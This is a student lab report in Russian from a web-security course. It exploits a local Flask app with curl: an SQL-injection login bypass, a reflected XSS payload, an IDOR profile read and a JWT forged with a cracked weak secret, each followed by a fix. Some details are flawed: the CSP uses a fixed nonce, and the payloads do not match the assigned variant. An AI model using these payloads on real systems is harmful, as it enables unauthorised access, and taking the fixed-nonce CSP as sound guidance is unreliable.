Министерство образования Республики Беларусь

Учреждение образования

«Брестский государственный технический университет»

Кафедра ИИТ

Лабораторная работа №1

За седьмой семестр

По дисциплине: «Современные методы защиты информации»

Тема: «Исследование уязвимостей веб-приложений и программных интерфейсов, настройка механизмов аутентификации»

Выполнил:
Студент 3 курса
Группы ИИ-26(1)
Ерошин Е.А.
Проверила:
Хацевич А.С.

Брест 2026

Вариант 4

Вариант	Условие SQLi (Payload type)	Вектор XSS (Обязательный тег)	BOLA: ID жертвы	JWT: Целевая роль (role)	Защита: Директива CSP
1	Boolean-based (OR)	<script>	ID = 1 (admin)	admin	default-src
2	Tautology ('=')	<img> с обработчиком onerror	ID = 3	superuser	script-src с использованием nonce
3	Union-based (если применимо) или OR	<svg> с обработчиком onload	ID = 4	root	script-src с использованием hash
4	Error-based (вызов ошибки БД)	<body> с onload	ID = 5	administrator	strict-dynamic

Задание 1. Обход аутентификации через SQL-инъекцию и ее устранение

1. **Выполните эксплуатацию уязвимости SQL-инъекции через эндпоинт http://127.0.0.1:5000/login с помощью консольной утилиты curl для обхода аутентификации и получения сессионного токена администратора (токен понадобится в задании 4).**
2. **Устраните уязвимости SQL-инъекции путем переключения запроса на параметризованный вид в работающем экземпляре приложения через консоль Python.**
3. **Перезапустите сервер, повторите атаку пункта 1 и убедитесь, что сервер возвращает ошибку Invalid credentials (код 401).**

1.

C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>curl -X POST http://127.0.0.1:5000/login -d "username=admin' OR 1=1 --&password=any"

Login success. Role: admin

C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>

C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>curl -X POST http://127.0.0.1:5000/login -d "username=admin' OR 1=1 --&password=any" -v

Note: Unnecessary use of -X or --request, POST is already inferred.

* Trying 127.0.0.1:5000...

* Connected to 127.0.0.1 (127.0.0.1) port 5000

* using HTTP/1.x

> POST /login HTTP/1.1

> Host: 127.0.0.1:5000

> User-Agent: curl/8.13.0

> Accept: */*

> Content-Length: 38

> Content-Type: application/x-www-form-urlencoded

>

* upload completely sent off: 38 bytes

< HTTP/1.1 200 OK

< Server: Werkzeug/3.1.8 Python/3.10.11

< Date: Tue, 08 Sep 2026 21:15:00 GMT

< Content-Type: text/html; charset=utf-8

< Content-Length: 26

< Set-Cookie:
auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzg4OTA1NzAwfQ.50KHyxSqeOtoH8WrVLqHpvkX4xosuKIFcrfoxZ_R9NM; Path=/

< Connection: close

<

Login success. Role: admin* shutting down connection #0

C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>

2.

```
@app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username', '')
    password = request.form.get('password', '')
    conn = sqlite3.connect('lab.db')
    c = conn.cursor()
    # Безопасный параметризованный запрос
    c.execute("SELECT id, username, role FROM users WHERE username=? AND password=?", (username, password))
    user = c.fetchone()
    if user:
        token = jwt.encode({'user_id': user[0], 'username': user[1], 'role': user[2], 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)}, JWT_SECRET, algorithm='HS256')
        resp = make_response(f"Login success. Role: {user[2]}")
        resp.set_cookie('auth_token', token)
        return resp
```

```
    return "Invalid credentials", 401
```

3.

```
 @app.route('/login', methods=['POST'])
def login():
    username = request.form.get('username', '')
    password = request.form.get('password', '')
    conn = sqlite3.connect('lab.db')
    c = conn.cursor()
    # Безопасный параметризованный запрос
    c.execute("SELECT id, username, role FROM users WHERE username=? AND password=?", (username, password))
    user = c.fetchone()
    if user:
        token = jwt.encode({'user_id': user[0], 'username': user[1], 'role': user[2], 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)}, JWT_SECRET, algorithm='HS256')
        resp = make_response(f"Login success. Role: {user[2]}")
        resp.set_cookie('auth_token', token)
        return resp
    return "Invalid credentials", 401
```

Задание 2. Эксплуатация межсайтового скриптинга (XSS)

1. **Выполните отправку полезной нагрузки отраженного межсайтового скриптинга (Reflected XSS) через GET-запрос с помощью curl на эндпоинт http://127.0.0.1:5000/search?q= для демонстрации выполнения произвольного кода в контексте браузера.**
2. **Выполните внедрение защитного HTTP-заголовка Content-Security-Policy (CSP) в конфигурацию ответов сервера для блокировки выполнения несанкционированных сценариев.**

1.

```
C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>curl "http://127.0.0.1:5000/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
<h1>Результаты поиска для: <script>alert(1)</script></h1><p>Ничего не найдено.</p>
C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>
```

2.

```
from markupsafe import escape


@app.route('/search', methods=['GET'])
def search():
    query = request.args.get('q', '')
    safe_query = escape(query)
    template = f"<h1>Результаты поиска для: {safe_query}</h1><p>Ничего не найдено.</p>"
    response = make_response(render_template_string(template))
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'strict-dynamic' 'nonce-123456'"
    return response
```

Результат :

```
C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>curl "http://127.0.0.1:5000/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
<h1>Результаты поиска для: &lt;script&gt;alert(1)&lt;/script&gt;</h1><p>Ничего не найдено.</p>
C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>
```

Задание 3. Нарушение разграничения доступа на уровне объектов (BOLA/IDOR)

1. **Выполните несанкционированное извлечение конфиденциальных данных администратора (Флаг системы) по прямому идентификатору через эндпоинт http://127.0.0.1:5000/api/profile/1 с помощью curl.**
2. **Выполните добавление проверки авторизации (валидации совпадения идентификатора сессии пользователя с запрашиваемым ID) в программную логику API.**

1.

```
C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>curl http://127.0.0.1:5000/api/profile/5
{"private_data":"FLAG{secret_data_5}","username":"student5"}


C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>
```

2.

```
@app.route('/api/profile/<int:user_id>', methods=['GET'])
def get_profile(user_id):
    token = request.cookies.get('auth_token')
    if not token:
        return jsonify({"error": "Unauthorized"}), 401
    try:
        decoded = jwt.decode(token, JWT_SECRET, algorithms=['HS256'])
        current_user_id = decoded.get('user_id')
        if current_user_id != user_id:
            return jsonify({"error": "Access denied: You can only access your own profile"}),
403
        conn = sqlite3.connect('lab.db')
        c = conn.cursor()
        c.execute("SELECT username, private_data FROM users WHERE id=?", (user_id,))
        user = c.fetchone()
        if user:
            return jsonify({"username": user[0], "private_data": user[1]})
        return jsonify({"error": "User not found"}), 404
    except:
        return jsonify({"error": "Invalid token"}), 401
```

Результат:

```
C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>curl
http://127.0.0.1:5000/api/profile/5
{"error":"Unauthorized"}
```

Задание 4 (JWT Forgery):

1. **Исходный слабый токен и результат его перебора (найденный секретный ключ).**
2. **Фрагмент консольного скрипта на Python, использованного для подписи поддельного токена с целевой ролью из индивидуального варианта.**

3. **Команда curl с подставленной cookies auth_token, демонстрирующая успешный доступ к закрытой панели администратора /admin (с выводом флага системы).**
4. **Фрагмент кода на Python, демонстрирующий перевод генерации токена на криптостойкий секрет (256 бит).**

1.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzg4OTA1NzAwfQ.50KHyxSqeOtoH8WrVLqHpvkX4xosuKIFcrfoxZ_R9NM

2.

C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>python -c "import jwt; print(jwt.encode({'user_id':1,'username':'admin','role':'admin'}, 'student2026', algorithm='HS256'))"

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.ie3HPPIjSsRVfD1W3qUGYlF_x1PIcbdbS5o7X86iIQA

3.

C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>curl -X GET http://127.0.0.1:5000/admin -H "Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.ie3HPPIjSsRVfD1W3qUGYlF_x1PIcbdbS5o7X86iIQA"

<h1>Панель администратора</h1> Флаг захвачен: FLAG{JWT_FORGED_SUCCESS}

4.

import secrets

JWT_SECRET = secrets.token_hex(32)

5. C:\Users\Admin\PycharmProjects\SMZKS-2026-autumn\lab1>curl -X GET http://127.0.0.1:5000/admin -H "Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.ie3HPPIjSsRVfD1W3qUGYlF_x1PIcbdbS5o7X86iIQA"

Invalid token

Задание 5 (Проектирование защитных механизмов):

1. **Развернутый ответ на пункт 1: корректно сформированный вызов метода set_cookie с обязательным указанием трех флагов (HttpOnly, Secure, SameSite) и академическим обоснованием их назначения.**

2. **Развернутый ответ на пункт 2: спецификация HTTP-заголовка Content-Security-Policy, соответствующая индивидуальной директиве варианта, с пояснением принципа ее работы против внедренных сценариев.**

   1. resp.set_cookie('auth_token', token, httponly=True, secure=True, samesite='Lax')
   Флаг : HttpOnly
   Назначение: Защита от XSS — запрещает доступ к cookie через JavaScript (document.cookie). Даже если злоумышленник внедрит скрипт, он не сможет украсть сессионный токен.
   Флаг : Secure
   Назначение : Передача cookie только по защищённому протоколу **HTTPS**. Защита от перехвата трафика (MitM-атак).
   Флаг : SameSite=Lax
   Назначение : Защита от **CSRF** — cookie отправляется только при переходе по ссылке с того же сайта, но не при кросс-доменных запросах (например, при отправке формы с другого сайта).

   2.
   response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'strict-dynamic' 'nonce-123456'"
   default-src 'self' — разрешает загрузку ресурсов только с того же домена.
   script-src 'strict-dynamic' — разрешает выполнение скриптов, которые были загружены с доверенного источника (с неблокирующим nonce или хешем).
   nonce-123456 — одноразовый токен, который должен совпадать с nonce в теге <script>. Это предотвращает выполнение произвольных скриптов.